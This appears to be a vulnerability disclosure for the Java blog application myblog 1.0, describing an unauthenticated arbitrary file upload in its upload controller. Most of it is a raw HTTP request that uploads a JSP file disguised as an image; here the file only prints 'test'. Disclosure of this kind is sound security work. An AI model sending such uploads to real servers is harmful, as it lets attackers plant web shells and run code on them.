myblog 1.0 has arbitrary File Upload

[LvZCh]

Source code name：myblog
Source code version：1.0
Source code download link：https://github.com/ZeroWdd/myblog/archive/refs/heads/master.zip

Code Audit:
In src/main/java/com/wdd/myblog/controller/admin/uploadController. java, the upload method does not process uploaded files, resulting in arbitrary file uploads

Vulnerability exploitation:
Directly send the following data packet without carrying cookies, upload JSP Trojan horse

POST /admin/upload/file HTTP/1.1
Host: 192.168.0.102:8080
Content-Length: 205
Cache-Control: max-age=0
Origin: http://192.168.0.102:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBA4mjuS2GAXES8VY
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.102:8080/admin/blogs/edit/4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryBA4mjuS2GAXES8VY
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg

<% out.println("test"); %>
------WebKitFormBoundaryBA4mjuS2GAXES8VY--

You can also upload HTML files